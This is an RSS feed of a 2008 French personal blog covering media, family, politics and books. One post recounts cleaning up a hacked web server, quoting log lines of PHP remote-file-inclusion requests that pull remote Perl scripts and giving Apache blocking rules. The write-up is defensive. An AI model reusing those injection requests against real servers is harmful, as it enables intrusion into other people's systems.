<?xml version="1.0" encoding="ISO-8859-1" ?>
<rdf:RDF
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns="http://purl.org/rss/1.0/">

<channel rdf:about="http://www.merome.net/dotclear/index.php">
  <title>On refait le blog</title>
  <description><![CDATA[Jouons à refaire le monde]]></description>
  <link>http://www.merome.net/dotclear/index.php</link>
  <dc:language>fr</dc:language>
  <dc:creator></dc:creator>
  <dc:rights></dc:rights>
  <dc:date>2008-07-04T20:45:46+02:00</dc:date>
  <admin:generatorAgent rdf:resource="http://www.dotclear.net/" />
  
  <sy:updatePeriod>daily</sy:updatePeriod>
  <sy:updateFrequency>1</sy:updateFrequency>
  <sy:updateBase>2008-07-04T20:45:46+02:00</sy:updateBase>
  
  <items>
  <rdf:Seq>
    <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/07/04/463-ingrid-liberee" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/07/03/462-on-se-connecte" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/07/01/461-off" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/29/460-fiche-de-lecture-les-desarrois-de-ned-allen" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/28/459-le-gouffre-de-poudrey" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/23/457-le-principe-de-postcaution" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/19/456-a-la-chasse-aux-script-kiddies" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/07/455-serial-lover" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/02/454-le-liquide-qui-coule-dans-tes-mains" />
  <rdf:li rdf:resource="http://www.merome.net/dotclear/index.php?2008/06/01/447-la-boite-jaune" />
  </rdf:Seq>
  </items>
</channel>

<item rdf:about="http://www.merome.net/dotclear/index.php?2008/07/04/463-ingrid-liberee">
  <title>Ingrid libérée</title>
  <link>http://www.merome.net/dotclear/index.php?2008/07/04/463-ingrid-liberee</link>
  <dc:date>2008-07-04T20:45:46+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux du cirque</dc:subject>
  <description>Les téléspectateurs et les auditeurs, eux, sont toujours en otage.</description>
  <content:encoded><![CDATA[<p>Les téléspectateurs et les auditeurs, eux, sont toujours en otage.</p> <p>Je vais vous apprendre un scoop&nbsp;: Ingrid Betancourt a été libérée. Quoi&nbsp;? Vous le saviez déjà ?<br /><br /></p>


<p>Depuis hier, on nous bassine en effet des heures durant avec cette information. En fait, surtout avec une myriade de non-informations qui gravitent autour de cet évènement, certes important, sans être non plus capital pour l'avenir de la France ou du monde.<br />
Ainsi est composée l'actualité télévisée et radiophonique chaque jour&nbsp;: autour de deux trois faits marquants sélectionnés pour leur capacité à faire de l'image, ou du sentiment et de préférence, les deux.<br /><br /></p>


<p>Il n'y avait pourtant pas grand chose à dire&nbsp;: l'otage, détenue depuis six ans, a été libérée avec quelques autres, suite à l'intervention musclée mais semble-t-il propre de l'armée colombienne. Point.<br /><br /></p>


<p>Les médias, une fois qu'ils se sont emparés de l'affaire, ont fait monter la mayonnaise jusqu'à l'écoeurement. Hier sur RTL, j'entendais deux médecins qui diagnostiquaient l'état de santé d'Ingrid sur la base de la simple vidéo qui avait été diffusée le matin même. Aujourd'hui, on pouvait suivre l'atterrissage de l'avion en France minute par minute. Sur France Inter, hier, l'émission historique qui suit le journal de 13h était consacré ... aux FARC.<br /><br /></p>


<p>J'ai cru voir dans les forums, et en en discutant avec des amis ou des collègues que je n'étais pas le seul à trouver ce traitement de l'information plutôt curieux. Moi qui m'informe principalement grâce à internet, il m'a fallut quelques dizaines de secondes à peine pour obtenir l'information dans son ensemble. Rien à voir avec les dizaines de minutes ressassées à chaque édition radio et télé depuis hier.<br /><br /></p>


<p>Les médias "traditionnels" sont comme ça. Je leur fait décidément de moins en moins confiance, et ils m'intéressent vraiment peu.</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/07/03/462-on-se-connecte">
  <title>On se connecte ?</title>
  <link>http://www.merome.net/dotclear/index.php?2008/07/03/462-on-se-connecte</link>
  <dc:date>2008-07-03T21:09:43+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux d'enfants</dc:subject>
  <description>Baisse le son !</description>
  <content:encoded><![CDATA[<p>Baisse le son&nbsp;!</p> <p>Il fallait tôt ou tard que j'écrive un mot sur ce nouveau cauchemar des parents, nouveau dans le sens où nos parents à nous n'avaient pas ce fléau, en tout cas pas sous cette forme. Le sujet a déjà été effleuré dans le film "<a href="http://www.allocine.fr/film/fichefilm_gen_cfilm=114695.html" hreflang="fr">Demandez la permission aux enfants</a>", où l'on peut voir un père excédé en exploser une par terre. Une quoi&nbsp;? Une Nintendo DS, bien sûr.<br /><br /></p>


<p><img src="http://www.revioo.com/media/images/news/1/8979.jpg" alt="" /><br /><br /></p>


<p>C'est une console de jeu portable, destinée principalement aux enfants, mais je connais quelques adultes un peu attardés qui l'utilisent malgré tout.<br />
Alors que, dans nos jeunes années et dans le meilleur des cas, nous nous partagions un seul "jeu électronique" pour toute la famille, dorénavant, la plupart des gosses ont leur propre console portable qui coûte quatre fois plus cher. Oh, j'ai bien tenté de résister à l'invasion, en proposant d'autres choses, d'autres activités, voire en dernier cours, une autre console que celle-là. Mais rien à faire. La DS est incontournable, et avec elle, ses niaiseries de jeux plus ou moins débiles.<br /><br /></p>


<p>Mais je ne vais pas m'attarder plus que ça sur la qualité des jeux, car il semblerait que dans le domaine, certaines choses m'échappent totalement. Se balancer des bananes et des carapaces ou sauter pour attraper des pièces, j'y suis assez hermétique. Je comprends bien, au moins, que cela puisse plaire aux gosses, dans une certaine mesure, mais pour un adulte, décidément, je ne vois pas, sauf à avoir été préalablement décérébré et conditionné par Nintendo dans sa jeunesse. C'est triste.<br /><br /></p>


<p>Non, ce qui est encore bien pire que ça, c'est la place que prend la console dans la vie quotidienne et néanmoins familiale. La console est en accès libre, les gosses peuvent se la brancher seuls et y jouer sans assistance parentale. Ils ne se privent donc pas de le faire, à tout moment de la journée, et particulièrement aux plus mauvais. Juste avant de partir à l'école alors qu'on est déjà à la bourre. Juste avant d'aller au lit alors que ça les excite au plus haut point. Juste quand on a besoin d'un peu de calme pour lire, écrire, se reposer, conduire tranquillement.<br />
En cela, cela s'approche un peu de la plaie des téléphones portables qui sonnent à tout bout de champ et vous interrompent pendant un jeu de société, un film, une discussion, ...<br /><br />
Bien sûr, quand une partie est en cours, que le niveau est élevé et que le temps passé pour y arriver est conséquent, on rechigne un peu (au début) à fermer la console brutalement et tirer le gosse de son jeu. On respecte un minimum l'effort produit. "Je finis mon circuit", mon oeil, tu viens d'en recommencer un sous mes yeux, oui !<br /><br /></p>



<p>Ensuite, il y a le son. Ah, le son. Joie des bruitages débiles. Plaisir des musiques énervantes et répétitives, qui s'accélèrent au fil des niveaux. Et donc la plupart du temps, on demande aux gosses de le couper. Ce qu'ils font. Pour le remettre quelques minutes après, discrètement. Donc, il faut le redire et le répéter encore.<br /><br /></p>


<p>Et puis, il y a l'attitude qui va avec. Ces jeux énervent. Mince, j'avais dit que je ne m'étendrais pas, tant pis.  Pensez donc, c'est du niveau zéro de maîtrise du jeu et donc l'absence totale de satisfaction intellectuelle. Il faut répéter mécaniquement les gestes qui marchent, comme un robot, et être à la merci d'une console qui éventuellement triche, ou bien d'un sort qui tombe d'on ne sait où sans contrôle aucun, ni riposte possible.<br />
Je crois avoir pratiqué pas mal de jeux vidéos et avoir un certain recul par rapport à ça. Il est clairement des jeux "abrutissants", qui n'apportent strictement aucun plaisir. Surtout joués seul. La plupart des jeux que j'ai vus sur cette console sont de ce type.<br />
L'enfant sort du jeu avec une humeur exécrable. Il est frustré. Il est encore dedans. Et fatalement, il n'est plus avec nous. Il arrive qu'il soit agressif ou aigri. Vraiment, parfois, c'est assez pénible à supporter.<br /><br /></p>


<p>En comparaison, et pour prêcher pour ma paroisse, l'attitude après une partie d'un jeu de société quelconque est très clairement différent et bien plus positif.<br /><br /></p>


<p>(...)<br />
Petite pause dans l'écriture de cet article, pendant laquelle j'ai appris à ma fille à jouer aux "joyaux magiques", de Disney sur DS, et joué quelques minutes à Super Mario Bros avec mon fils, pour voir ce qu'il avait dans le ventre (le jeu, pas le fiston). Tout ça pour dire que je fais des efforts, j'essaie de comprendre. Et une fois encore, l'expérience s'est assez mal terminée, ma fille était irascible en passant à table. Mais dans ces deux jeux, encore une fois, que de frustration et bien peu de satisfaction. Soit l'on parcourt sans fin des niveaux interminables (au sens propre) en essayant de trouver le pixel depuis lequel il faut amorcer son saut pour tomber au bon endroit (Passionnant !). Soit l'on parvient à terminer le niveau rapidement, mais en ayant laissé de côté des tas d'endroits qui étaient susceptibles d'être intéressants, des salles cachés, des trésors secrets... Dans tous les cas, on en ressort frustré. Alors, je sais, je suis mauvais. Mais mes gosses sont (encore pour quelques semaines, ou mois) plus mauvais que moi encore. J'imagine leur détresse quand ça fait 10 fois qu'il recommence le même niveau à cause d'une carapace débile ou d'un trou mal placé.<br /><br /></p>


<p>Donc voilà, je suis sans doute un vieux con qui ne comprend rien à ces jeux, mais sans parti pris, je vous l'assure, survivre en famille avec des Nintendo DS est une gageure...<br />
Le seul truc positif qu'on peut retirer de la situation, mais qui dénote aussi l'addiction presque maladive que suscite la console, c'est que cela donne un moyen de pression supplémentaire en cas de conflit :<br /><br /></p>


<p>- Mange ta soupe ou tu seras privé de Nintendo (en plus, ce nom de marque est imprononçable quand on est énervé, c'est comme les prénoms à trois syllabes ou plus&nbsp;: une fois arrivé au bout, on ne sait même plus pourquoi on est en colère !).<br />
- Non, pitié !<br /><br /></p>


<p>Une bien maigre consolation.</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/07/01/461-off">
  <title>Off</title>
  <link>http://www.merome.net/dotclear/index.php?2008/07/01/461-off</link>
  <dc:date>2008-07-01T21:49:20+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux du cirque</dc:subject>
  <description>La real politic</description>
  <content:encoded><![CDATA[La real politic Le truc dont tout le monde parle depuis hier, c'est cette vidéo "off" de notre Président avant son passage à France 3 hier soir. Alors, comme je suis assez primaire, j'ai visionné la vidéo, sur laquelle on ne voit, ni n'entend rien de vraiment spectaculaire. Pour autant, ça n'est pas inintéressant de la voir, dans le sens où ce qui passe effectivement à l'antenne et tellement aseptisé, que ces moments "volés" sont finalement les plus véritables qui puissent être attrapés au vol supersonique de la politique actuelle. Ce qui se passe après, c'est de la communication. De la publicité. De la promotion. L'exercice est répété, contrôlé, maîtrisé dans les moindres détails.<br><br>

Inutile de vous faire languir plus longtemps, la voilà, cette vidéo que <del>personne</del> maintenant tout le monde a vu : <br><br>
<center>
<div><object width="420" height="339"><param name="movie" value="http://www.dailymotion.com/swf/x5yyb9" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://www.dailymotion.com/swf/x5yyb9" type="application/x-shockwave-flash" width="420" height="339" allowFullScreen="true" allowScriptAccess="always"></embed></object><br /><b><a href="http://www.dailymotion.com/swf/x5yyb9">Sarkozy en off sur France 3</a></b><br /><i>par <a href="http://www.dailymotion.com/rue89">rue89</a></i></div><br><br></center>

Alors moi, le moment qui me semble le plus intéressant, c'est la discussion avec Gérard Leclerc au sujet de sa mise au placard. "Moi je voulais pas", dit en quelque sorte Nicolas Sarkozy, avec tutoiement de rigueur. Je crois y voir une malhabile tentative de manipulation ou de déstabilisation. Dans tous les cas, un truc qui n'a rien à faire là, sauf mettre mal à l'aise le journaliste, qui a par ailleurs critiqué vertement les projets présidentiels concernant France Télévision.<br><br>

Ce qui est rigolo à voir aussi, c'est la tension du moment juste avant le direct, la concentration de part et d'autre, les tics nerveux limite inquiétants de l'animal politique.<br><br>

Tout le reste est <a href="http://www.liberation.fr/actualite/politiques/336102.FR.php" hreflang="fr">apparemment</a> sujet à controverse. Les réflexions sur les manifestants, le "ça va changer" plus ou moins bien interprété... On peut y voir tout et son contraire, et commenter la chose comme ça nous arrange. Je me garderai donc bien de le faire moi-même.<br><br>

Et vous, ça vous inspire quoi ?]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/29/460-fiche-de-lecture-les-desarrois-de-ned-allen">
  <title>Fiche de lecture : Les désarrois de Ned Allen</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/29/460-fiche-de-lecture-les-desarrois-de-ned-allen</link>
  <dc:date>2008-06-29T11:04:48+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux du cirque</dc:subject>
  <description>Un roman de Douglas Kennedy</description>
  <content:encoded><![CDATA[<p>Un roman de Douglas Kennedy</p> <p>Une mienne collègue m'a récemment conseillé la lecture de ce roman (juste après avoir lu <a href="http://www.lulu.com/browse/book_view.php?fCID=341970&amp;fBuyItem=5" hreflang="fr">le mien</a>), et comme je suis toujours embarrassé pour choisir un bouquin, je me fie aveuglément aux premiers conseils venus.<br /><br /></p>


<p>Ned Allen est un vendeur, self made man. À la force de son talent de commercial, il a grimpé quelques échelons sociaux et fait aujourd'hui partie de ce qu'on appellerait en France la "classe moyenne". Mais il a un défaut, un énorme&nbsp;: il flambe son argent pour le "paraître". Il s'endette volontiers pour s'acheter un costume de marque, ou des vacances hors de prix comme s'il cherchait des loisirs dûs à son rang.<br />
Le vent tourne mal lorsque sa boîte se fait racheter, suite à quoi il se retrouve dans une panade assez monumentale.<br /><br /></p>


<p>J'ai apprécié ce roman car il décrit la vie d'un gars aux antipodes de ma propre personnalité. Ambitieux, prétentieux, bling bling, la description de sa vie est pour moi un véritable dépaysement. Malgré tout, il n'est pas antipathique, et surtout, sa descente aux enfers et particulièrement bien amenée, tout à fait crédible et ses réactions face aux multiples drames auxquels il doit faire face, toutes explicables.<br /><br /></p>


<p>En revanche, j'ai regretté avoir lu le texte de la quatrième de couverture, qui résume le livre jusqu'à la page 300 environ, ne laissant plus que les 70 dernières pages de suspens. C'est ballot. Si d'aventure vous entreprenez la lecture du livre, évitez de faire cette même erreur.<br /><br /></p>


<p>Voilà, ça doit être le deuxième roman de l'année que j'arrive à finir. Joli score. :)</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/28/459-le-gouffre-de-poudrey">
  <title>Le gouffre de Poudrey</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/28/459-le-gouffre-de-poudrey</link>
  <dc:date>2008-06-28T13:32:17+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>FantastiKid</dc:creator>
  <dc:subject>Jeux d'enfants</dc:subject>
  <description>Rédaction</description>
  <content:encoded><![CDATA[Rédaction Désolé, il manque la fin de chaque ligne :(
<img src="/dotclear/images/FantastiKid/GouffreDePoudrey.jpg" alt="" />]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/23/457-le-principe-de-postcaution">
  <title>Le principe de postcaution</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/23/457-le-principe-de-postcaution</link>
  <dc:date>2008-06-23T19:50:00+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux de société</dc:subject>
  <description>Je vous l'avais bien dit que c'était (peut-être) dangereux.</description>
  <content:encoded><![CDATA[Je vous l'avais bien dit que c'était (peut-être) dangereux. Ces derniers jours, j'ai lu ou vu ici et là quelques nouvelles peu rassurantes qui permettent de douter de l'honnêteté intellectuelle de ceux qui nous gouvernent, nous vendent des trucs, nous informent, ... rayez la ou les mentions inutiles.<br><br>

Vous avez sans doute entendu parler comme moi de cette affaire des ondes de téléphones portables qui seraient nocives. A vrai dire, régulièrement depuis 10 ans, on nous explique que ça pourrait potentiellement mais c'est pas sûr et toujours sous réserve que dans l'éventualité d'une utilisation inappropriée ou intensive, nous griller le cerveau comme un vulgaire toast gluant, ce qui entrainerait, dans le meilleur des cas, son ruisselement par nos oreilles, ce qui pourrait, à la longue, tacher nos vêtements.<br><br>

On trouve même quelques infos qui étendent le risque aux ondes Wi-fi, à celles émises par un micro-onde, et pourquoi pas à la radio FM et aux antennes satellite.<br><br>

Là-dessus, la magie d'internet nous apporte l'Information avec un grand I, de source sûre, confirmée par les plus grands spécialistes, officielle, sous la forme d'une vidéo à l'origine indiscutable, puisque c'est sur YouTube :<br><br>

<center>
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/qPCZvtOAc3I&hl=en"></param><embed src="http://www.youtube.com/v/qPCZvtOAc3I&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object></center>
<br><br>

Pire ! Le coup du popcorn marche également avec des bananes :<br><br>

<center>
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/puEPl8wPXNE&hl=en"></param><embed src="http://www.youtube.com/v/puEPl8wPXNE&hl=en" type="application/x-shockwave-flash" width="425" height="344"></embed></object>
</center>
<br><br>

Comme quoi, on ne peut décidément se fier à rien, et les dangers qui nous guettent sont multiples. Même des innocentes bananes !<br><br>

Plus sérieusement, <a href="http://www.guerir.fr/magazine/telephones-portables/appel-precaution-utilisation-telephones-portables/?searchterm=None" hreflang="fr">20 experts internationaux lancent un appel pour une utilisation modérée du portable</a>. Avec des vrais arguments, une étude scientifique, des gens qui savent de quoi ils parlent.<br>
De l'autre côté, <a href="http://www.actualites-news-environnement.com/16699-telephones-portables-dangerosite.html" hreflang="fr">l'académie de médecine dément formellement</a> ! <br><br>

Que signifie le "principe de précaution" dans ce contexte ? S'agit-il de retirer les portables de la vente ? De préconiser une meilleure utilisation ? Ou de laisser faire tant que rien n'est prouvé ? <br>
Je vous avouerai que personnellement je m'en cogne un peu, puisque je n'utilise pas de portable. Bon, le Wi-Fi, par contre...<br><br>

Dans le même genre, j'ai appris aujourd'hui grâce au <a href="http://raffa.grandmenage.info" hreflang="fr">blog de Raffa</a> qu'un certain nombre de produits alimentaires vendus dans nos supermarchés <a href="http://raffa.grandmenage.info/post/2008/06/19/URGENT-A-DIFFUSER-%3A-Huile-de-moteur-dans-les-produist-de-supermarches" hreflang="fr">contenaient de l'huile moteur</a> !<br>
Encore un peu de 20W40 dans votre salade ?<br>
L'histoire est assez incroyable, puisque tout le monde est au courant de la chose, des industriels qui ont utilisé l'huile frelatée en provenance d'Ukraine, jusqu'aux autorités sanitaires des pays européens où les produits sont en vente, tout le monde sait et ... laisse faire quand même.<br>
Il a en effet été prouvé que l'impact sur la santé humaine était nul, et donc on a considéré qu'il était inutile de retirer ces aliments des circuits de vente.<br>
C'est le Canard Enchainé qui a révélé l'affaire il y a plus d'un mois, et bizarrement, personne n'en a parlé plus que ça. Les industriels n'ont semble-t-il qu'une crainte : que ça se sache. Alors, à l'instar de Raffa, je vous invite à jouer un peu avec nos amis les industriels de l'alimentaire qui nous font de la sauce-vidange, en diffusant l'information à tout ceux qui sont susceptibles d'avoir consommé ces dernières semaines des batonnets de Surimi, du cèleri rémoulade, de la soupe de poisson en conserve, du poisson pané, des paupiettes de veau, du thon et des sardines à l'huile, de la pâte à tartiner chocolatée, des céréales, les gaufrettes à la confiture, les barres céréalières et sucrées pour les enfants, des cookies, de la mayonnaise, du tarama, de la sauce béarnaise et enfin de la sauce vinaigrette.<br><br>
Bon appétit !]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/19/456-a-la-chasse-aux-script-kiddies">
  <title>A la chasse aux script kiddies</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/19/456-a-la-chasse-aux-script-kiddies</link>
  <dc:date>2008-06-19T19:17:59+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Moi jeu</dc:subject>
  <description>Retrouver un script perl qui se déguise en process apache, ça occupe.</description>
  <content:encoded><![CDATA[<p>Retrouver un script perl qui se déguise en process apache, ça occupe.</p> <p>Je suis bien silencieux ces derniers temps. Pas beaucoup d'inspiration, pas beaucoup de temps, et puis depuis le week-end dernier, je suis en guerre. Le conflit a été déclaré vendredi soir, et ce n'est pas moi qui ai déclenché les hostilités.<br />
<br />
Cela a commencé bêtement par un plantage d'un serveur web que je gère, à titre professionnel. Un plantage banal comme il s'en produit de temps à autre, faute de mémoire swap, cette fois.<br />
Une fois le processus relancé par un de mes collègue sur le qui-vive, je me suis aperçu que j'avais reçu un mail étrange, m'indiquant que ce fameux serveur planté avait tenté de contaminer un serveur tiers, à l'autre bout du net, et me priant de bien vouloir nettoyer cette machine afin que cela ne se reproduise plus.<br />
Le mail contenait en effet un extrait de fichier journal qui ne laissait pas de doute :<br /><br /></p>


<p><em>14/Jun/2008:08:53:30 +0200] "GET /index.php?page=951/index.php?page=http://www.dichotomy.com.au/tmp/id.txt? HTTP/1.1" 200 7765 "-" "libwww-perl/5.803"</em><br /><br /></p>


<p>Le tout précédé de l'adresse IP de notre machine.<br />
En plein week-end, alors que personne n'est au bureau, la machine a donc décidé de se connecter toute seule à l'extérieur et qui plus est pour faire des saletés chez autrui&nbsp;? Voilà qui est bien inquiétant. Je me suis donc inquiété. En commençant par chercher du côté de cette fameuse URL que mon serveur avait semble-t-il essayé d'injecter chez quelqu'un d'autre.<br /><br />
Par le passé, j'avais déjà eu à faire avec ce genre de pratique&nbsp;: les variables qui sont passées dans l'URL sont une source connue de tentative d'intrusion. Il suffit que le script PHP qui est derrière gère mal la chose pour qu'un petit malin parvienne à prendre le contrôle de tout ou partie de la machine cible.<br />
Notamment, les scripts PHP qui utilisent la fonction <em>include</em> ou <em>require</em> avec un paramètre passé en barre d'adresse devraient <strong>tous</strong> avoir un test préalable qui assure que n'importe quoi n'est pas envoyé par un comique qui se prend pour le héros de Wargame.<br />
L'exemple banal est le menu d'un site web qui permet de naviguer à l'intérieur. Lorsqu'on clique sur "accueil", le lien est sous la forme "index.php?page=accueil.php" et le code PHP contient tout simplement un <em>include $page;</em> qui affiche la bonne page à l'utilisateur.<br />
Si d'aventure un pirate tripote l'url, par exemple de cette façon&nbsp;: <em>index.php?page=http://www.google.fr</em>, la page d'accueil de google s'affiche dans votre propre site, et c'est votre machine qui a fait la requête vers google. Autrement dit, vous pouvez faire exécuter à la machine un code tiers, non maitrisable et potentiellement dangereux.<br /><br /></p>


<p>Ici, l'url pointe vers le site dichotomy, qui est un honnête site d'hébergeur étranger, semble-t-il, mais qui a été lui aussi hacké, et qui propose dans un fichier id.txt un script perl qui n'est pas anodin.<br />
Je résume&nbsp;: un malin a pris le contrôle d'une façon ou d'une autre de ma machine pour tenter d'injecter chez quelqu'un d'autre un script malveillant qui se trouve sur une troisième machine, préalablement hackée. Non mais faut pas se gêner !<br /><br /></p>


<p>Il y avait donc péril en la demeure, j'ai commencé par m'assurer que notre serveur était bien protégé contre le type d'attaque qu'il envoyait lui-même. Ne contrôlant pas l'intégralité des scripts PHP qui hantent ce serveur, je n'avais aucune certitude quant à la qualité et la sécurité du code qui s'y trouvait. En revanche, au niveau du serveur web lui-même, il y a des moyens d'agir, et c'est d'abord ce que j'ai tenté de mettre en place.<br /><br /></p>


<p>Un serveur Apache est extrêmement puissant et configurable. Parmi les trucs rigolos que l'on peut faire avec, il y a le module rewrite, qui permet litteralement de réécrire une URL que l'on juge pas conforme à ce qu'on attend.<br />
Par exemple, on peut dire à Apache que chaque fois qu'est passé en paramètre une chaine qui contient "http" ou "ftp" ou un autre truc douteux qui est susceptible d'être dangereux, il botte en touche pour éviter l'infection.<br /></p>


<p>Dans un .htaccess à la racine du site :<br />
<em>RewriteEngine on</em><br />
<br />
<em>RewriteCond %{QUERY_STRING} ^(.*)http [NC]</em><br />
<em>RewriteRule ^(.*) - [F]</em><br />
(...)
<br /><br /></p>



<p>On peut lui dire aussi que lorsque le client utilisé (user-agent) est dérivé d'un script perl, on refuse purement et simplement la requête.<br /></p>


<p>Dans apache2.conf :<br />
<em>BrowserMatchNoCase "^.*libwww.*$" denyua</em><br /><br /></p>


<p>Puis dans .htaccess&nbsp;: <br />
<em>Deny from env=denyua</em><br /><br /></p>



<p>Restait à trouver d'où sortait le processus qui se relançait chaque nuit, scannant des ports, se connectant un peu partout et faisant n'importe quoi à notre insu.<br />
Le processus était a priori totalement invisible. C'est-à-dire, on voyait bien qu'un processus perl bouffait toute la RAM et trustait les premières places du <em>top</em>, mais impossible de voir la commande qui en était à l'origine.<br /><br /></p>


<p>Et puis, j'ai vu un truc étrange&nbsp;: un processus apache qui ne ressemblait pas aux autres :<br /><br />
<em>www-data 29901  0.1  1.9 11724 9800&nbsp;?        S    00:19   2:42 /usr/local/apache/bin/httpd -DSSL</em><br />
<em>www-data 17840  0.0  4.1 34484 21300&nbsp;?       S    Jun18   0:24 /usr/sbin/apache2 -k start -DSSL</em><br />
<em>www-data 19616  0.1  4.2 34668 21548&nbsp;?       S    Jun18   0:27 /usr/sbin/apache2 -k start -DSSL</em><br />
<em>www-data 22071  0.0  4.1 33876 20944&nbsp;?       S    Jun18   0:13 /usr/sbin/apache2 -k start -DSSL</em><br /><br /></p>


<p>Tiens tiens&nbsp;! /usr/local/apache/bin&nbsp;? Ce répertoire n'existe même pas sur le serveur. Le processus perl infecté se cache sous ce faux nom pour échapper à notre vigilance&nbsp;! Cela ne se passera pas comme ça.<br />
Je repère un de ces faux apache et note l'heure de son lancement, dans l'exemple ci-dessus 2:42. Je prends alors les logs d'apache, le vrai, et scrute ce qui s'est passé à cette heure. Et bingo, je tombe sur une ligne sans équivoque :<br /><br /></p>


<p><em>77.104.226.10 - - <a href="17/Jun/2008:02:42:38 +0200">17/Jun/2008:02:42:38 +0200</a> "POST /shnpm/index.php?page=http://www.geocities.com/netu_oo/debu.txt?</em><br /><br /></p>


<p>Pile au moment où mon processus apache zombie s'est lancé, je recevais sur le vrai apache une requête bizarre comme décrite ci-dessus. Pourtant, je croyais avoir blindé la chose avec mon .htaccess général sur tout le site. Grave erreur, un .htaccess propre au répertoire contenant ce script annulait les effets du mien. Et donc on se retrouvait dans un cas classique d'injection d'URL, dans un script php mal foutu qui ne gérait pas ce genre de risque. Le fameux "debu.txt"  hébergé par geocities est une autre version d'un script perl qui s'amuse avec les ports et les failles de sécurité. Ma machine était donc à la fois infecteur et infectée par un script perl de ce type.<br /><br /></p>


<p>Mine de rien, ça m'a pris quatre jours pour découvrir le pot aux roses. Il faut dire que les attaques ne se déclenchaient que la nuit, et qu'il a fallu mettre en place un certain nombre de scripts pour tracer tout ce qu'il faut et avoir les bonnes infos.<br />
Dans le même temps, je me battais sur le front de la messagerie contre les mails d'Europharmacie qui me proposaient par centaine des pilules et des potions pour être en forme. Bref, quatre jours à se battre contre des malveillants, c'est cher payé. C'est vraiment une plaie que de devoir perdre du temps pour de telles bêtises causées par une bande de pirates prépubères qui jouent à la gueguerre par écran interposé.<br /><br /></p>


<p>Bon, l'article est un peu technique, mais c'est bien grâce à mes recherches sur le net que j'ai pu démasquer le coupable. Si mon article peut à son tour servir à d'autres, tant mieux...</p>]]></content:encoded>
</item>
<item rdf:about="http://www.merome.net/dotclear/index.php?2008/06/07/455-serial-lover">
  <title>Serial lover</title>
  <link>http://www.merome.net/dotclear/index.php?2008/06/07/455-serial-lover</link>
  <dc:date>2008-06-07T14:50:33+02:00</dc:date>
  <dc:language>fr</dc:language>
  <dc:creator>Merome</dc:creator>
  <dc:subject>Jeux du cirque</dc:subject>
  <description>Un petit point sur les quelques séries télé que j'ai suivies</description>
  <content:encoded><![CDATA[<p>Un petit point sur les quelques séries télé que j'ai suivies</p> <p>Le titre est trompeur, car je suis loin, très loin d'être fan de séries télé. J'y étais même parfaitement allergique jusqu'à ce que Marzi et Gaille (commentateurs réguliers du blog et néanmoins amis), me convainquent de jeter un oeil à Loïs et Clark, il y a douze ou treize ans. Alors j'ai regardé Loïs et Clark, et comme c'était une époque où on avait le câble dans l'immeuble, on regardait aussi Dream on, sur Canal Jimmy.<br /><br /></p>


<p>Le temps a passé et de nouveau, je n'ai plus regardé de séries télé. Il faut dire que je regarde de moins en moins la télé tout court, donc, ça n'aide pas. Et précisément, les séries étant particulièrement chronophages, je m'en méfie comme de la peste.<br />
C'est encore une fois Gaille qui m'a perverti il y a quelques années avec Smallville, toujours superman&nbsp;! Pourtant, je suis pas particulièrement fan du super héros. Je me suis donc tapé les 6 ou 7 saisons de Smallville, mais ça baisse, ça baisse...<br /><br /></p>


<p>Et puis enfin, j'ai commencé Desperate Housewives. Je ne sais plus comment c'est arrivé sur ma télé ni à cause de qui. Et c'est avec Kaamelott, dans un autre genre, la dernière série qui me tient en haleine et me ravit régulièrement.<br /><br /></p>


<p>C'est un peu étrange de parler de DH alors que ça fait quatre ans que ça ne fait plus de buzz. Mais justement, ça mérite un article, parce qu'après quatre ans, ça reste toujours exceptionnel. Hier, par exemple, on s'est regardé le S4E06 et c'était fabuleux. A pleurer devant. Bon, ok, on est un peu sentimentaux, ma secrétaire et moi. Mais au bout de quatre saisons, on s'attache aux personnages plus que dans le meilleur des films, on les connaît, avec leurs défauts, leurs vices, leurs qualités et leurs vertus. On se reconnaît dedans, aussi.<br /><br /></p>


